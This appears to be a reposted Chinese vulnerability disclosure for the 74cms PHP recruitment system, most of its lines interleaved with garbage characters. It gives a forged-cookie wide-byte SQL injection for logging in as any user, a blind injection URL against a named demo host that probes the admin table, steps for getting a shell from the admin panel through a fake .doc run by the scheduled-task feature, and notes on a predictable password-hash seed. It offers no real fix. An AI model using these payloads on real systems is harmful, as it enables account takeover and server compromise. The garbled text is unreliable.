0x1 任意用户登录. A: {# S# L) g& Y* i+ H5 [& T( I
) k& i, q1 K0 }9 w& c) W! t$ b& J
0x2 盲注/ g: [/ i% [1 R% X4 q Z5 Z- h
/ w. C9 B" O" i2 D, b( X) Q) `
0x3 后台拿shell
* g0 o/ A1 t( ^" `6 e5 r$ L; l
p2 y" S e. _+ W 0x4 随机函数问题# E7 p' O$ v- f' W' k4 ^/ ~0 Q
/ ?9 P X% n7 A/ \4 Q) d 详细说明:
5 I1 V) q) l5 |. E! o+ V. x$ Q5 W3 H+ I
0x1 任意用户登录
8 u- W! b0 z+ p4 j6 O' j; n# I9 U! {
user/login.php
# O* N) q4 w; _3 v7 i
; Z3 X7 h4 N9 E' I: w( Y/ Y/ q elseif((empty($_SESSION['uid']) || empty($_SESSION['username']) || empty($_SESSION['utype'])) && $_COOKIE['QS']['username'] && $_COOKIE['QS']['password'] && $_COOKIE['QS']['uid'])3 ~) C" m( N( z5 S! q
1 u6 u$ F8 r f
{
+ i' ^$ N8 b1 F0 @" a8 X; u- |" E7 O+ [* y* Z" a/ @- W
if(check_cookie($_COOKIE['QS']['username'],$_COOKIE['QS']['password']))) b* @, o1 H6 }& A+ l' d, I3 f4 X Z4 J
" _, K0 j; g5 L2 Z
{5 `- T' G1 S# Y* z
5 |! w/ d1 S* i: Q3 P1 { update_user_info($_COOKIE['QS']['uid'],false,false);
* n! Z2 [5 J5 V
2 _1 |) x8 s' w* M1 F; T header("Location:".get_member_url($_SESSION['utype']));
- g. C. e* ]7 M% K7 a9 T
3 L8 L; d. C$ h# H2 d# j4 J }- S. r: W W! A4 o- ~
$ ~4 B0 {/ L, H& @4 @( c5 u0 G9 b. ~ else
7 l; d5 H) _( C, o h$ o: p. p) V0 J; r: M
{
& P, K0 _3 E! x: K7 d% r! w) s/ v# J! s8 N# |/ s5 E2 @
unset($_SESSION['uid'],$_SESSION['username'],$_SESSION['utype'],$_SESSION['uqqid'],$_SESSION['activate_username'],$_SESSION['activate_email'],$_SESSION["openid"]);' R& Q! j1 i( b0 H5 C7 C
$ o7 V$ k( c- s; y" r
setcookie("QS[uid]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);
6 N/ V; A) B1 m% K) L4 f4 H$ S
setcookie('QS[username]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);
5 ~4 Q$ U9 G0 U! p, }1 j4 H. z
5 x$ z' i* w( c setcookie('QS[password]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);5 ^7 A! \9 \# V x' W: m' b6 q: `
; \/ ]# f$ v5 r" @ setcookie("QS[utype]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);
/ b2 m* ^4 L' c/ {0 C
5 K; [1 `; h( k2 K& L header("Location:".url_rewrite('QS_login'));
# O7 ?, I( ~7 I- ]# e3 o w n: F+ ~: e7 w
}" a) i' w) f' b2 s# ~' |
; C6 x; G( S& K4 i }
, I# D7 E. X2 C5 f" n7 b k7 X# Z. T% L4 x) D @" L
include/fun_user.php; |9 c2 O, q7 a- H' K/ [# L
' f$ y6 u5 ?3 r6 n* c; m! ^
//检测COOKIE
4 D; D/ }' B5 w3 _
9 H5 u& i9 H+ N' t function check_cookie($name,$pwd){8 W' e- @+ e6 S+ P$ {% ^7 z* k
- @0 q4 s/ W* ~! j) O2 N global $db;. D" z3 h2 X* u$ U7 ]1 d0 J' W
, c4 E# N5 u9 o% O3 T0 B: r4 Z
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('members')." WHERE username='{$name}' and password = '{$pwd}'");
. i$ k, V" ^/ E2 H: r, P D& _# V
" W2 P$ X. |+ B- G6 {* R% N if($row['num'] > 0)
7 H# k# N8 @0 l9 ^: w1 n6 V
$ d' [6 H- S, V2 l/ H- z! G {% e i0 i6 T; B
3 M5 _$ i; q1 D) f0 `& \$ y return true;
, D C! @5 ]$ }, Q) i U8 w1 ~# S3 M3 f2 R: _# D- X, Q4 ]4 S7 [" H
}else{
! M+ A; j) z4 v* B+ L5 I. a. ~8 H' Z% x- L7 A
return false;$ Q6 K _- q1 {0 k( s# b
6 D2 H& v* C6 M5 v" ?0 x/ K
}
t: H2 O, k/ g. g! \; C8 R! h/ W' c( b. {: P! K) n
}: m: l- ~' b' L/ h3 w
9 }9 [5 p/ V$ C) n' u* K 构造cookie如下; g- p- _( j' d: ^8 @
; Z7 O8 F5 j; ^6 t
QS[uid] 2/ @8 \+ c w5 x9 }- w
+ x! J/ s+ s- q. j& `7 m/ m6 S, Z
QS[utype] 1
. ?# T: ?1 y+ H5 B u& i2 x& M
4 j& j3 |( @& u# a1 j QS[password] 111111111111111111111
8 L- n) X* z, E7 [
; J6 \" X+ X) ?5 h QS[username]%bf%27 or 1=1 %23: Z7 ?0 u1 K) _% c' S- T! @
- r1 B F% u" ` uid 为假冒用户的ID utype为用户类型password任意
' G, \7 {- M/ x* r: _1 E
_ X8 F( V# Z$ D1 w, B 0x2 盲注& }) N( H3 R8 R
2 }: j+ H% c$ y P' m9 c http://demo32.74cms.com//resume/resume-list.php?key=test00%bf')/**/and+if((select/**/admin_name/**/from/**/qs_admin/**/limit/**/0,1)=0x61646D696E,benchmark(1000000000,(select/**/1)),1)/**/%238 \. `, e1 }6 }; r$ B
5 Y4 |4 i6 F2 e5 ~
上面两个都是宽字节注入,如果你能猜出管理员密码,还能解出双重md5的话,还能猜出后台路径,继续看下面8 b3 L- b; g8 h! t: v
8 E+ A9 A9 Y* c7 |+ o% B7 h. G! K 0x3 后台拿shell2 ~/ h/ X1 J" F9 P" A6 w
% c8 X5 y( `8 p! W' G$ K4 O, s4 J9 ]
1.先关闭csrf防御功能
6 Y* A2 c& G- Q! [: y# E1 B. q8 i/ }+ Y) C: O& t
2.在hr工具箱中添加一个伪造的doc,内容为,记下路径data/hrtools/2012/06/1339941553308.doc
: n* B& j3 t' N5 \. W( Y# w: C8 L) J4 y, W
3.在工具-计划任务中添加任务,脚本任务填../../data/hrtools/2012/06/1339941553308.doc/ G* Z, V+ ^- m7 n
: E- J1 I" C9 p5 A+ o4 V1 A 4.然后执行
" G) }1 U! g3 Q+ \: }
/ t; ]3 n9 e4 m- N6 `, i1 c 0x4 随机函数问题(几乎可以无视,纯属个人YY)
/ \$ y$ c0 E x7 N- ~
% X+ K5 _/ w/ J1 x 在admin_common.fun.inc.php中有个$QS_pwdhash是在安装的时候赋值的,只要能猜出就可已不用解双重md5了。
! p7 ~% V+ |) P$ y% X# n: f# R2 f1 W( m0 h
这个$QS_pwdhash是由randstr生成: M/ d$ k1 V; z" i9 q, P1 q4 s
, V1 u* u0 j8 ]) O function randstr($length=6)0 Y4 N! M3 G6 ]! N( n% r
+ D9 Y+ O2 z# _9 S) U' M
{
7 U) f( P; B Y7 @$ a
# S( b) j2 d+ r5 w5 z $hash='';8 t3 l; F2 ]1 X! E9 |9 U% c
, C5 U0 }. j. L+ b3 P4 J; j" u
$chars= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz@#!~?:-=';5 M) p# b5 a# `1 Y
: s- o( d- O' d4 Q! @! [ $max=strlen($chars)-1;
5 q' P0 c% [. `
8 C; l( \6 _; r' F! A3 Q& t% Y q mt_srand((double)microtime()*1000000);
6 W5 [; ]5 {8 f
, H, T1 t1 ~9 Y9 i for($i=0;$i<$length;$i++) {$ V4 Z+ D$ I; a/ v1 o
( H% x) c* c: ~1 e% ^
$hash.=$chars[mt_rand(0,$max)];$ ~& z0 Z3 B) Z2 @% E
9 d0 k- s7 s/ R7 [$ k8 G }2 b1 ~& g/ |8 \
! R! \+ a, I8 H( {& U# H return $hash;
+ a" [% G) P2 H9 m- f. C9 h( T3 i- T% e% n( D
}
) I) t7 z0 [; e8 G: N
6 m+ S. Q6 v0 j8 M: r 生成长度为6的随机数,mt_srand()播种一样,就会得到一样的随机数,所以我们最多要猜1000000次就可以了(蛋疼); m/ U. F! `; l% O- M6 M
, ]' {0 J8 ?, G; |. R+ O0 }
漏洞证明:
3 D+ G3 w S4 \* R8 s: k- R* b( `7 `; D7 }
修复方案:" d: q1 a! v2 p/ x6 q2 l
' Y, L# @: S! \, a3 g do it yourself~
3 y3 G: N/ g4 E& o2 L! ~* Q
% h4 u& @- ^; t" |4 k6 [解决一切网站安全,湖盟云防火墙:hnhack.com |